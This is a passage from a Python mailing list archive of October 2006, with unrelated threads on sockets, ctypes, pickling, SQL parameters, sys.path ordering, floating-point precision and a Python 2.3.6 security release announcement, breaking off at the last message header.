Date: Fri, 27 Oct 2006 18:23:53 -0000
Subject: How set the source IP adress
References: <ehstmq$mm8$1@news.lucky.net>
	<454241d1$0$327$e4fe514c@news.xs4all.nl>
Message-ID: <12k4jlpr6q4o4b4@corp.supernews.com>

On 2006-10-27, Irmen de Jong <irmen.NOSPAM at xs4all.nl> wrote:

>> how to set source ip-address when do __socket.connect((host, port))
>> on a machine that have a several ip-adresses?
>> 
>> __socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>> __socket.connect((host, port))
>
> sock.connect ( ('11.22.33.44', 9999) )
>
> i.e. just put the ip address as string parameter into the
> connect address tuple (where you wrote: host)

Um, no. That controls the _destination_ IP address, not the
source.  If you want to control the source IP addresss you can
bind it to a local interface's IP address before doing the
connect() call.

sock.bind(('10.0.0.99',-1))  # -1: don't care about source port number
sock.connect((host,port))

That will make sure that 10.0.0.99 is used as the source IP
address.  Of course you have to have an interface with that
address.

-- 
Grant Edwards                   grante             Yow!  I'm a nuclear
                                  at               submarine under the
                               visi.com            polar ice cap and I need
                                                   a Kleenex!


From oliver.andrich at gmail.com  Fri Oct  6 14:40:13 2006
From: oliver.andrich at gmail.com (Oliver Andrich)
Date: Fri, 6 Oct 2006 20:40:13 +0200
Subject: Ctypes and freeing memory
In-Reply-To: <eg616n$tgv$1@sea.gmane.org>
References: <6f7b52d0610030219l481b594ekbc9449b7339fd30@mail.gmail.com>
	<eg616n$tgv$1@sea.gmane.org>
Message-ID: <6f7b52d0610061140y493c4400u452af7f7758aa0e2@mail.gmail.com>

On 10/6/06, Thomas Heller <theller at python.net> wrote:
> Chris Mellon has already pointed out a possible solution, but there is also a
> different way.  You could use a subclass of c_char_p as the restype
> attribute:
>
> class String(c_char_p):
>     def __del__(self):
>         MagickRelinquishMemory(self)
>
> The difference is that you will receive an instance of this class
> when you call the MagickGetException funcion.  To access the 'char *'
> value, you can access the .value attribute (which is inherited from
> c_char_p), and to free the memory call MagickRelinquishMemory
> in the __del__ method.

These is an even better solution, cause it lets me drop one decorator,
I have been using at the moment, to handle these things.

Thanks a lot. ctypes is so much fun to use. Lately I had to use JNI,
and well, compared to this experience I am now in heaven. :) Sadly, I
can't provide my team members an equal solution in the Java world,
cause one of them starts to hate me for assigning him on another JNI
job in our project.

Best regards,
Oliver

-- 
Oliver Andrich <oliver.andrich at gmail.com> --- http://roughbook.de/


From larry.bates at websafe.com  Tue Oct 24 18:51:15 2006
From: larry.bates at websafe.com (Larry Bates)
Date: Tue, 24 Oct 2006 17:51:15 -0500
Subject: Sending Dictionary via Network
In-Reply-To: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
References: <1161730229.556578.278020@f16g2000cwb.googlegroups.com>
Message-ID: <VfGdnW3keKyzBKPYnZ2dnUVZ_sOdnZ2d@comcast.com>

mumebuhi wrote:
> Hi,
> 
> Is it possible to send a non-string object from a Python program to
> another? I particularly need to send a dictionary over to the other
> program. However, this is not possible using the socket object's send()
> function.
> 
> Help?
> 
> 
> Buhi
> 
You will need to pickle it first and unpickle it on the other
end.  Other than that, you should be able to send it just fine.

-Larry


From paul at boddie.org.uk  Mon Oct  2 09:56:39 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 2 Oct 2006 06:56:39 -0700
Subject: PYTHON PHONE MODULE
References: <1159793857.974408.114000@e3g2000cwe.googlegroups.com>
Message-ID: <1159797399.237879.167060@m7g2000cwm.googlegroups.com>

vedran_dekovic at yahoo.com wrote:
> Can you tell me one simple python phone module and if that module have
> some moudules which need download from internet,then give me urls of that
> modules

I did see that you were trying to get pyphone [1] to work. According to
the description in that program, it seems that the solution you're
looking for involves dialling numbers on your modem from a Python
program. Is this correct? If so, there's a thread [2] about such
matters which mentions PySerial [3] and provides an example, tidied up
and reproduced here:

import serial
modem = serial.Serial(2)
modem.write("ATDT5555555\r\n")

There are other Python-based solutions involving doing things with
different kinds of telephones and telephony: t616hack [4] deals with
messaging on certain mobile telephones, BitPim [5] provides a lot of
features for communicating with various CDMA telephones, Chestnut
Dialer [6] is a PPP dialler.

Anyway, I can't really hope to enumerate all available solutions in a
reasonable amount of time, but I hope this helps at least.

Paul

[1] http://lstep.free.fr/actuel/Code/PyPhone/index.html
[2] http://mail.python.org/pipermail/python-list/2002-June/110862.html
[3] http://pyserial.sourceforge.net/
[4] http://www.python.org/pypi/t616hack
[5] http://www.bitpim.org/
[6] http://chestnut-dialer.sourceforge.net/



From anthony at python.org  Mon Oct 23 22:57:42 2006
From: anthony at python.org (Anthony Baxter)
Date: Tue, 24 Oct 2006 12:57:42 +1000
Subject: RELEASED Python 2.3.6, release candidate 1
Message-ID: <200610241257.51761.anthony@python.org>

On behalf of the Python development team and the Python
community, I'm announcing the release of Python 2.3.6
(release candidate 1).

Python 2.3.6 is a security bug-fix release. While Python 2.5
is the latest version of Python, we're making this release for
people who are still running Python 2.3. Unlike the recently
released 2.4.4, this release only contains a small handful of
security-related bugfixes. See the website for more.

*  Python 2.3.6 contains a fix for PSF-2006-001, a buffer overrun
*  in repr() of unicode strings in wide unicode (UCS-4) builds.
*  See http://www.python.org/news/security/PSF-2006-001/ for more.

This is a **source only** release. The Windows and Mac binaries
of 2.3.5 were built with UCS-2 unicode, and are therefore not
vulnerable to the problem outlined in PSF-2006-001. The PCRE fix
is for a long-deprecated module (you should use the 're' module
instead) and the email fix can be obtained by downloading the
standalone version of the email package.

Most vendors who ship Python should have already released a
patched version of 2.3.5 with the above fixes, this release is
for people who need or want to build their own release, but don't
want to mess around with patch or svn.

Assuming no major problems crop up, a final release of Python
2.3.6 will follow in about a week's time.

Python 2.3.6 will complete python.org's response to PSF-2006-001.
If you're still on Python 2.2 for some reason and need to work
with UCS-4 unicode strings, please obtain the patch from the
PSF-2006-001 security advisory page. Python 2.4.4 and Python 2.5
have both already been released and contain the fix for this
security problem.

For more information on Python 2.3.6, including download links
for source archives, release notes, and known issues, please see:

    http://www.python.org/2.3.6

Highlights of this new release include:

  - A fix for PSF-2006-001, a bug in repr() for unicode strings 
    on UCS-4 (wide unicode) builds.
  - Two other, less critical, security fixes.

Enjoy this release,
Anthony

Anthony Baxter
anthony at python.org
Python Release Manager
(on behalf of the entire python-dev team)
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From chris.mcavoy at gmail.com  Sun Oct  8 14:20:01 2006
From: chris.mcavoy at gmail.com (Chris McAvoy)
Date: Sun, 8 Oct 2006 13:20:01 -0500
Subject: ANN: ChiPy Thurs. October 12, 2006. 7pm @ Performics 180 N. Lasalle
Message-ID: <3096c19d0610081120t4ab808afh376cac93620b5eab@mail.gmail.com>

Join us for our best meeting ever!

Thurs. October 12th, 2006. 7pm.

Topics
---------
* PLY (Python Lex Yacc) David Beazley
* Performance Python (without PyPy) Michael Tobis

Location
------------
Performics  180 N. Lasalle 12th floor. Chicago RSVP (for building
security) by Tuesday night to chris.mcavoy at gmail.com with subject
"RSVP Chipy"

http://chipy.org


From duncan.booth at invalid.invalid  Tue Oct  3 07:13:01 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 3 Oct 2006 11:13:01 GMT
Subject: Best way to handle large lists?
References: <prrUg.1662$We.477@trndny08>
Message-ID: <Xns98517C47C7B89duncanbooth@127.0.0.1>

Chaz Ginger <cginboston at hotmail.com> wrote:

> I have a system that has a few lists that are very large (thousands or
> tens of thousands of entries) and some that are rather small. Many times
> I have to produce the difference between a large list and a small one,
> without destroying the integrity of either list. I was wondering if
> anyone has any recommendations on how to do this and keep performance
> high? Is there a better way than
> 
> [ i for i in bigList if i not in smallList ]

How about:

smallSet = set(smallList)
something = [ i for i in bigList if i not in smallSet ]

Use timeit.py on some representative data to see what difference that 
makes.


From steve at holdenweb.com  Sat Oct 28 06:06:00 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sat, 28 Oct 2006 11:06:00 +0100
Subject: correct parameter usage for "select * where id in ..."
In-Reply-To: <1162026084.206897.216630@k70g2000cwa.googlegroups.com>
References: <1162026084.206897.216630@k70g2000cwa.googlegroups.com>
Message-ID: <ehva02$qhr$1@sea.gmane.org>

saniac wrote:
> I am working on a little project using pysqlite. It's going to be
> exposed on the web, so I want to make sure I quote all incoming data
> correctly. However, I've run into a brick wall trying to use parameters
> to populate a query of the form "select * where col1 in ( ? )"
> 
> The naive approach doesn't work:
> 
>   values=['foo', 'bar', 'baz']
>   sql = """select  * where value in (?)"""
>   cu = cx.cursor()
>   cu.execute(sql, (values))
> 
> The code blows up because the cursor is expecting 1 arg and gets 3. I
> tried joining the array members with a comma, and that didn't work.
> I've also tried the equivalent with the named style, which pysqlite
> also supports, but that didn't work either.
> 
> I can't find any documentation that demonstrates this kind of query.
> 
> Is there a way to do this? It seems a bit odd not to have a way to
> escape this kind of query.
> 
Well, you could try using a tuple whose single element is that 
three-element tuple with your list if values:

   cu.execute(sql, (values, ))

which I repsume is shat you really meant to do. Note, though, that not 
all DB API modules will accept lists and/or tuples as data elements of 
that kind, so you may be disappointed.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From bjobrien62 at gmail.com  Wed Oct  4 22:31:38 2006
From: bjobrien62 at gmail.com (SpreadTooThin)
Date: 4 Oct 2006 19:31:38 -0700
Subject: socket client server... simple example... not working...
Message-ID: <1160015498.917617.256110@c28g2000cwb.googlegroups.com>

client:

import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.101", 8080))
print 'Connected'
s.send('ABCD')
buffer = s.recv(4)
print buffer
s.send('exit')


server:

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(("192.168.1.101", 8080))
serversocket.listen(5)
print 'Listen'
(clientsocket, address) = serversocket.accept()
print 'Accepted'
flag = True
while flag:
	chunk = serversocket.recv(4)
	if chunk == '':
		raise RuntimeError, "socket connection broken"
	elif chunk == 'exit':
		flag = False
	else:
		serversocket.send(chunk)
print 'Done'

Server says!

Listen
Accepted
Traceback (most recent call last):
  File "server.py", line 11, in ?
    chunk = serversocket.recv(4)
socket.error: (57, 'Socket is not connected')


Client says:
Connected

What have I done wrong now!



From eurleif at ecritters.biz  Tue Oct 10 23:27:28 2006
From: eurleif at ecritters.biz (Leif K-Brooks)
Date: Tue, 10 Oct 2006 23:27:28 -0400
Subject: operator overloading + - / * = etc...
In-Reply-To: <7xwt78ullw.fsf@ruckus.brouhaha.com>
References: <1160256250.688620.63770@h48g2000cwc.googlegroups.com>
	<slrneig76h.6u2.sybrenUSE@schuimige.stuvel.eu>
	<mailman.32.1160258060.11739.python-list@python.org>
	<slrneig8v2.746.sybrenUSE@schuimige.stuvel.eu>
	<mailman.34.1160260043.11739.python-list@python.org>
	<pan.2006.10.08.01.08.09.501368@REMOVE.THIS.cybersource.com.au>
	<m2wt782j4y.fsf@ordesa.local> <7xwt78ullw.fsf@ruckus.brouhaha.com>
Message-ID: <452c6455$0$25777$4d3efbfe@news.sover.net>

Paul Rubin wrote:
> The symbols on the left side of = signs are called variables even in
> Haskell, where they don't "vary" (you can't change the value of a
> variable once you have set it).

FWIW, that's the original, mathematical meaning of the word 'variable'. 
They _do_ vary, but only when you call the function with different 
arguments (which happens frequently in Haskell, which uses recursion in 
place of loops).


From kloro2006 at gmail.com  Fri Oct 20 14:15:24 2006
From: kloro2006 at gmail.com (tom arnall)
Date: Fri, 20 Oct 2006 11:15:24 -0700
Subject: cross-linked version of the python documentation
Message-ID: <453904e0$0$25170$88260bb3@free.teranews.com>

Is there a cross-linked version of the python documentation available? Is
anyone interested in starting a project for such?

tom arnall
north spit, ca
usa

-- 
Posted via a free Usenet account from http://www.teranews.com



From jobsearch34653 at yahoo.com  Thu Oct 19 18:06:20 2006
From: jobsearch34653 at yahoo.com (Emma)
Date: 19 Oct 2006 15:06:20 -0700
Subject: Lead Software Engineer
Message-ID: <1161295580.670392.26500@k70g2000cwa.googlegroups.com>

Successful candidates meet the following requirements:
? A burning desire to build rock-solid apps that people will be
unable
to live without
? Detail-oriented
? Superb written and verbal communication skills
? Self-directed, highly motivated, and eager to make a positive
impact
? 10+ years experience designing and implementing high volume web
applications
? 5+ years leading engineering teams through the development process
to
successful deployments
? Experience with relational and hierarchical database schemas
? Creating high-level and detailed technical design documents, and
conducting design reviews
? Playing an active role in implementing and providing feedback on
new
processes
? Providing technical guidance to other software engineers
? Implementing new product features using Python and SQL in an
Apache/Linux environment
? Enhancing and maintaining existing product capabilities
? Developing and updating product documentation


Answer the following questions in your cover letter:
1. What element of a development process has the biggest effect on the
quality of its product?
2. What is the biggest design mistake you've made, and what did you
learn from it?
3. What was the biggest design success you've had, and how would you
improve it?
4. What are your thoughts on eXtreme Programming, and test driven
development?
5. Please provide us with a comparison of the following music discovery

sites:

http://www.blogmusik.net
http://www.seeqpod.com/music
http://www.finetune.com
http://www.webjay.com

For each of these we like to know:
A) What you like and dislike about each of these.
B) Which one you like the best.
C) Which one you think others might like the best.
D) How you would improve the one you like.



From steve at holdenweb.com  Sun Oct  8 15:33:13 2006
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 08 Oct 2006 20:33:13 +0100
Subject: references and buffer()
In-Reply-To: <f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
References: <f4cc03640610081140i48be2853i68dde935d1b50b3d@mail.gmail.com>	<egbh20$o6q$2@sea.gmane.org>
	<f4cc03640610081209x772ca04ex2b47204a2003bfb0@mail.gmail.com>
Message-ID: <egbjo1$dj$1@sea.gmane.org>

km wrote:
> Hi all,
> 
>     in the CPython implementation, it's the address where the object is
>     stored.  but that's an implementation detail. 
> 
> 
>  ok so can i point a vairiable to an address location just as done in C 
> language ?
>  >>> y = 'ATGCATGC'
>  >>> x = buffer(y)
>  >>> del(y)
>  >>> x
> <read-only buffer for 0xbf4cf0e0, size -1, offset 0 at 0xbf4cf240>
>  >>> print x
> ATGCATGC
> 
> now even when i delete y,  why is that x still exists ?

Because assignment is a *binding* of a name, in some namespace, to an 
object. x "still exists" because it hasn't been deleted. Because it is a 
reference to the object formerly bound to the name y, that object still 
also exists.

> thats true even in the case of vairable assignment which states it a a 
> reference !
>  >>> a = 10
>  >>> b = a
>  >>> del(a)
>  >>> b
> 10
> i always thought if u modify the referred variable/buffer object it 
> should be reflected in the referenced variables/buffers objects . am i 
> wrong ?

Yes, you are wrong. Think of Python names as pure references.

> does it mean that references  in python are not true references ?
> 
No, it doesn't mean that. Python bindings are exactly true references 
(think "pointer" in C), the storage for the referred objects is 
allocated from a heap and has a lifetime as long as the last reference 
to it and possibly, depending on the storage allocation and garbage 
collection strategy of the specific implementation, rather longer. Once 
all references have been deleted it can no longer be reached from inside 
Python code, however.

The original CPython implementation uses reference counting to control 
storage reclamation, but other implementations used other strategies.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From grahn+nntp at snipabacken.dyndns.org  Sun Oct 15 05:36:35 2006
From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn)
Date: 15 Oct 2006 09:36:35 GMT
Subject: problem with the 'math' module in 2.5?
References: <1160883192.973842.240290@m7g2000cwm.googlegroups.com>
	<mailman.526.1160885916.11739.python-list@python.org>
Message-ID: <slrnej4092.gim.grahn+nntp@frailea.sa.invalid>

On Sun, 15 Oct 2006 00:18:29 -0400, Carsten Haese <carsten at uniqsys.com> wrote:
...
> You're not getting *exactly* zero because you're not passing in *exactly* pi
> but a close approximation of pi.

That, plus the fact that floating-point math never is (in some sense)
precise. I am surprised noone brought up this one:

>>> .2
0.20000000000000001

The original poster should read more on the subject. The Wikipedia article
seems like a good place to start:

 http://en.wikipedia.org/wiki/Floating-point

/Jorgen

-- 
  // Jorgen Grahn <grahn@        Ph'nglui mglw'nafh Cthulhu
\X/     snipabacken.dyndns.org>  R'lyeh wgah'nagl fhtagn!


From hanumizzle at gmail.com  Fri Oct 13 11:33:51 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Fri, 13 Oct 2006 11:33:51 -0400
Subject: Converting MSWord Docs to PDF
In-Reply-To: <12ivb7l3sb3sr87@corp.supernews.com>
References: <4524431F@webmail.azwestern.edu>
	<mailman.278.1160550152.11739.python-list@python.org>
	<1160557838.143189.117730@c28g2000cwb.googlegroups.com>
	<mailman.444.1160748213.11739.python-list@python.org>
	<12ivb7l3sb3sr87@corp.supernews.com>
Message-ID: <463ff4860610130833q6baafd98n611a1da237060c4f@mail.gmail.com>

On 10/13/06, Grant Edwards <grante at visi.com> wrote:
> That's how the various free "PDF printer drivers" for Windows work.
>
> > It might not even need Python.
>
> Not unless you're trying to automate the process somehow.

Even a quick, crappy language like bash would do.

-- Theerasak


From ocollioud at gmail.com  Tue Oct  3 07:29:25 2006
From: ocollioud at gmail.com (olive)
Date: 3 Oct 2006 04:29:25 -0700
Subject: app with standalone gui and web interface
In-Reply-To: <mailman.1139.1159857306.10491.python-list@python.org>
References: <5f56302b0610021800v29714effi3f7fb85162a8cc3f@mail.gmail.com>
	<mailman.1139.1159857306.10491.python-list@python.org>
Message-ID: <1159874964.954539.62380@m7g2000cwm.googlegroups.com>


I agree with Steve and I would advise to use an Ajax toolkit (such as
JQuery for example) which will help to make your UI act as a desktop
application (and even better if you are creative).
Olive.



From ptmcg at austin.rr._bogus_.com  Tue Oct 31 09:15:56 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Tue, 31 Oct 2006 14:15:56 GMT
Subject: 3d programming without opengl
References: <mailman.1526.1162280594.11739.python-list@python.org><iHD1h.25601$GR2.12249@tornado.texas.rr.com>
	<mailman.1533.1162287275.11739.python-list@python.org>
Message-ID: <wUI1h.25621$GR2.23835@tornado.texas.rr.com>

"Steve Holden" <steve at holdenweb.com> wrote in message 
news:mailman.1533.1162287275.11739.python-list at python.org...
>
> Looks like c.l.py just slashdotted you ... """The GeoCities web site you 
> were trying to view has temporarily exceeded its data transfer limit. 
> Please try again later."""
>
> regards
>  Steve
> -- 
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden
>

It didn't take long either!  I replaced the 1.4M .swf file with a 170K .swf 
file, so things seem to be working again.  (My b/w limit is 4.2M/hour, but I 
can't complain when it's free!)

-- Paul




From anthra.norell at vtxmail.ch  Sun Oct 29 07:58:47 2006
From: anthra.norell at vtxmail.ch (Frederic Rentsch)
Date: Sun, 29 Oct 2006 13:58:47 +0100
Subject: Where do nested functions live?
In-Reply-To: <ei2020$bco$1@sea.gmane.org>
References: <pan.2006.10.28.07.56.22.854398@REMOVE.THIS.cybersource.com.au>	<ehv2l1$a23$1@sea.gmane.org>	<mailman.1410.1162052677.11739.python-list@python.org>	<4qhf11Fn4g9fU1@uni-berlin.de>	<4544717D.4020908@vtxmail.ch>
	<ei2020$bco$1@sea.gmane.org>
Message-ID: <4544A587.1070608@vtxmail.ch>

Fredrik Lundh wrote:
> Frederic Rentsch wrote:
>
>   
>> At some later point I need to increment my units some more and probably 
>> will again a number of times. Clearly this has to go into a function.
>>     
>
> since Python is an object-based language, clearly you could make your 
> counter into a self-contained object instead of writing endless amounts 
> of code and wasting CPU cycles by storing what's really a *single* state 
> in a whole bunch of separate variables.
>   
This is surely a good point I'll have to think about.
> in your specific example, you can even use an existing object:
>   
Of course. But my example wasn't about time. It was about the situation
>     t = datetime.datetime.now()
>
>     # increment
>     t += datetime.timedelta(milliseconds=msec)
>
>     print t.timetuple() # get the contents
>
> if you're doing this so much that it's worth streamlining the timedelta 
> addition, you can wrap the datetime instance in a trivial class, and do
>
>     t += 1500 # milliseconds
>
> when you need to increment the counter.
>
>  > This is a little like a shop where the mechanics have to get their
>  > tools and work pieces from the manager and hand them back to him when 
>  > they're done.
>
> that could of course be because when he was free to use whatever tool he 
> wanted, he always used a crowbar, because he hadn't really gotten around 
> to read that "tool kit for dummies" book.
>   
No mechanic always uses a crowbar. He'd use it just once--with the same 
employer.
> </F>
>
>   




From exarkun at divmod.com  Wed Oct  4 11:15:54 2006
From: exarkun at divmod.com (Jean-Paul Calderone)
Date: Wed, 4 Oct 2006 11:15:54 -0400
Subject: Improving telnetlib
In-Reply-To: <D4F9316ACC9D20489CC81D19B8A87D5B039FE58B@UKEX01.Digica.local>
Message-ID: <20061004151554.1717.1223219055.divmod.quotient.67223@ohm>

On Wed, 4 Oct 2006 11:19:35 +0100, Matthew Warren <matthew.warren at digica.com> wrote:
>
>Hi,
>
>I use telnetlib in an app I am writing, and would like to add
>functionality to it to support interactive terminal sessions , IE: be
>able to 'vi' a file.
>
>Currently it seems telnetlib isnt quite sophisticated enoguh to support
>such a thing.
>
>The trouble is, I havent got a clue where to start and would appreciate
>a couple of pointers to get me going...
>

I'd suggest taking a look at Twisted, which contains a more complete
telnet implementation (not as important for being able to launch vi),
an ssh implementation (which you might want to use instead of telnet),
a VT102 implementation (which is actually what will help you run programs
that want to fiddle around with the cursor in fancy ways), as well as a
fair amount of work towards a simple terminal emulator (to help you keep
track of what vi has done to your virtual terminal).

API docs for insults:

http://twistedmatrix.com/documents/current/api/twisted.conch.insults.html

And for the telnet implementation:

http://twistedmatrix.com/documents/current/api/twisted.conch.telnet.html

Jean-Paul


From paul at boddie.org.uk  Wed Oct  4 05:47:57 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 4 Oct 2006 02:47:57 -0700
Subject: Manipulate PDFs
References: <85a19550610030459j6a72382ne5492db0f81932ab@mail.gmail.com>
	<mailman.1167.1159881358.10491.python-list@python.org>
	<7fdbv3-h53.ln1@lairds.us> <4cmbv3-lmh.ln1@lairds.us>
Message-ID: <1159955276.966880.280840@i3g2000cwc.googlegroups.com>

Cameron Laird wrote:
>
> <URL: http://www.easysw.com/htmldoc/ >.  While we STRONGLY emphasize
> free software in our installations, HTMLDOC has worked out great
> for us.  Easy Software has consistently provided good service.

Well, HTMLDOC does appear to be available under the GPL, too:

http://www.htmldoc.org/

Paul



From aznach at gmail.com  Mon Oct 16 13:04:53 2006
From: aznach at gmail.com (aznach)
Date: 16 Oct 2006 10:04:53 -0700
Subject: Problem: Python search path - module order
Message-ID: <1161018293.062420.202390@i3g2000cwc.googlegroups.com>

Hello!

I have a shared hosting account at GrokThis.net and have a problem with
the module order of the Python search path.

I'd like to use django's svn trunk instead of the
"Django-0.95-py2.4.egg" provided in site-packages.

The problem is that the "django egg" gets preference over the "django
svn trunk" module I manually added to PYTHONPATH...

Instead of being prepended to the top of sys.path, the "django svn
trunk" module gets inserted AFTER the eggs that are in
"/usr/lib/python2.4/site-packages".

I use ~/.bash_profile to set:
----------------------------------------------------------------
export PYTHONPATH="$HOME/local/lib/python:$HOME/django_src"
----------------------------------------------------------------

where "django_src" is the location of django's svn trunk directory

sys.path contains:

----------------------------------------------------------------
/usr/lib/python2.4/site-packages/flup-0.5-py2.4.egg
/usr/lib/python2.4/site-packages/setuptools-0.6c1-py2.4.egg
/usr/lib/python2.4/site-packages/Django-0.95-py2.4.egg
/usr/lib/python2.4/site-packages/Myghty-1.0.2-py2.4.egg
/usr/lib/python2.4/site-packages/PasteScript-0.9.7-py2.4.egg
/usr/lib/python2.4/site-packages/PasteDeploy-0.9.6-py2.4.egg
/usr/lib/python2.4/site-packages/Paste-0.9.7-py2.4.egg
/usr/lib/python2.4/site-packages/Routes-1.4-py2.4.egg
/usr/lib/python2.4/site-packages/Cheetah-1.0-py2.4-linux-x86_64.egg
/home/shared/username/local/lib/python
/home/shared/username/django_src
/usr/lib/python24.zip
/usr/lib/python2.4
/usr/lib/python2.4/plat-linux2
/usr/lib/python2.4/lib-tk
/usr/lib/python2.4/lib-dynload
/usr/local/lib/python2.4/site-packages
/usr/lib/python2.4/site-packages
/usr/lib/python2.4/site-packages/PIL
----------------------------------------------------------------


importing django form the Python console renders:
----------------------------------------------------------------
>>> import django
>>> django.VERSION
(0, 95, 'post-magic-removal')
>>>
----------------------------------------------------------------

Is there a way to give the "django svn trunk" module preference over
the "django egg" (i.e. to have the "django svn trunk" inserted BEFORE
the eggs listed)??

Does anyone know a solution to this problem? Any help would be greatly
appreciated!

Best regards,
Aznach



From martinezfive at comcast.net  Tue Oct 10 15:43:30 2006
From: martinezfive at comcast.net (Frank Martinez)
Date: Tue, 10 Oct 2006 15:43:30 -0400
Subject: C++ to Python?
Message-ID: <6110AB6F-D20C-4F12-9347-B7FB64930329@comcast.net>

Hi, Everybody!
	Does anyone know of a cpp2py type application?  Without going into  
details, I need to port a bunch of C++ code to Python.  Any such  
converter/information would be helpful.
	Thanks.

Hi, my name is Ray and, on Yesterday, my Daughter called me. -- A man  
named 'Ray'.



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From gagsl-py at yahoo.com.ar  Wed Oct 25 17:55:12 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Wed, 25 Oct 2006 18:55:12 -0300
Subject: Save/Store whole class (or another object) in a file
In-Reply-To: <1161786727.762448.175330@i3g2000cwc.googlegroups.com>
References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com>
	<1161182001.167535.87690@i3g2000cwc.googlegroups.com>
	<mailman.692.1161182737.11739.python-list@python.org>
	<1161786727.762448.175330@i3g2000cwc.googlegroups.com>
Message-ID: <7.0.1.0.0.20061025184355.03906c68@yahoo.com.ar>

At Wednesday 25/10/2006 11:32, alexLIGO at googlemail.com wrote:

>Fredrik Lundh wrote:
> > alexLIGO at googlemail.com wrote:
> > > thanks for the reply,but unfortunately this does not work with the type
> > > of classes I am dealing with. When trying to pickle the class I get the
> > > following error:
> > >
> > >  File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex
> > >     raise TypeError("a class that defines __slots__ without "
> > > TypeError: a class that defines __slots__ without defining __getstate__
> > > cannot be pickled
> > >
> > > So there is something missing in this class?
> >
> > did you remember to read the error message before posting ?
>
>of course I read the error-message, I understand the error-message, BUT
>this message is not telling me how anyway to save the data of such a
>class in a file!  It does not tell me, that there is absolutely no way
>to do that. Maybe there is, maybe there is not.
>Thats why I am posting it here!

"A man who wears a hat without buying a ticket cannot enter the theatre"
You wear a hat, you want to enter: either buy your ticket or forget 
about your hat.
In this case, just define a __getstate__ method (read the pickle 
docs), or forget about __slots__.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From gherron at islandtraining.com  Mon Oct  9 15:29:50 2006
From: gherron at islandtraining.com (Gary Herron)
Date: Mon, 09 Oct 2006 12:29:50 -0700
Subject: Newbie - Stuck
In-Reply-To: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
References: <1160309372.750331.8140@m7g2000cwm.googlegroups.com>
Message-ID: <452AA32E.2040403@islandtraining.com>

r3bol at yahoo.com wrote:
> The perl version of this code works but not the python version. What am
> I doing wrong?
>
> message = "abc"
> password = "z12"
>
> scrambled = message ^ password
>   
The error message (which you should have supplied) tells you why it
fails. That operator does not operate on strings. In fact, it operates
on integers and longs.
> I also wondered why this errored as well...
>
> int(messege)
>
> Is it not meant to convert a string to a number?
>   
It does convert a string to a number, but just what number do you think
"abc" should be converted to ? 42 perhaps?

int("123') will yield 123,
and if you decide to treat "abc" as a hexadecimal number, then
int("abc", 16)" yields 2748.

If (as I believe) you wish to take the bit patterns used internally to
represent a string and reinterpret those bits as an integer, then ...
perhaps you'd like to check out the struct module.

Gary Herron




From fakeaddress at nowhere.org  Fri Oct  6 22:48:39 2006
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Sat, 07 Oct 2006 02:48:39 GMT
Subject: dictionary containing a list
In-Reply-To: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
References: <1160170679.625037.300000@c28g2000cwb.googlegroups.com>
Message-ID: <bAEVg.20239$Ij.15678@newssvr14.news.prodigy.com>

Ben wrote:
> I have set up a dictionary into whose values I am putting a list. I
> loop around and around filling my list each time with new values, then
> dumping this list into the dictionary. Or so I thought...
> 
> It would appear that what I am dumping into the dictionary value is
> only a pointer to the original list, so after all my iterations all I
> have is a dictionary whose every value is equal to that of the list the
> final time I looped around :-(
> 
> Is there a way to acheive what I was attempting ?

Where you "loop around ... filling [your] list", use a new
list every time. You can create a new empty list with "[]".



-- 
--Bryan


From chris.cavalaria at free.fr  Wed Oct 25 03:56:25 2006
From: chris.cavalaria at free.fr (Christophe)
Date: Wed, 25 Oct 2006 09:56:25 +0200
Subject: python GUIs comparison (want)
In-Reply-To: <mailman.1094.1161707865.11739.python-list@python.org>
References: <1161666459.401958.267280@i42g2000cwa.googlegroups.com>	<453E3370.9060008@kevin-walzer.com>	<453e3c5a$0$23254$426a74cc@news.free.fr>
	<mailman.1094.1161707865.11739.python-list@python.org>
Message-ID: <453f18a6$0$21544$426a74cc@news.free.fr>

Fredrik Lundh a ?crit :
> Christophe wrote:
> 
>> Also, the Tkinter API is far less elegant than the others.
> 
> huh?  create object, display object, create object, display object. sure 
> looks like plain old Python to me...

Let's see :

.pack(side = "left")

fred = Button(self, fg = "red", bg = "blue")
fred["fg"] = "red"

fred.bind("<Enter>", turnRed)

Yep, unelegant API I mantain it.

And no modern layout manager available. Only those old school 
left/right/up/down pack and anchors are available.


From nick at craig-wood.com  Wed Oct  4 06:30:04 2006
From: nick at craig-wood.com (Nick Craig-Wood)
Date: Wed, 04 Oct 2006 05:30:04 -0500
Subject: What value should be passed to make a function use the default
	argument value?
References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com>
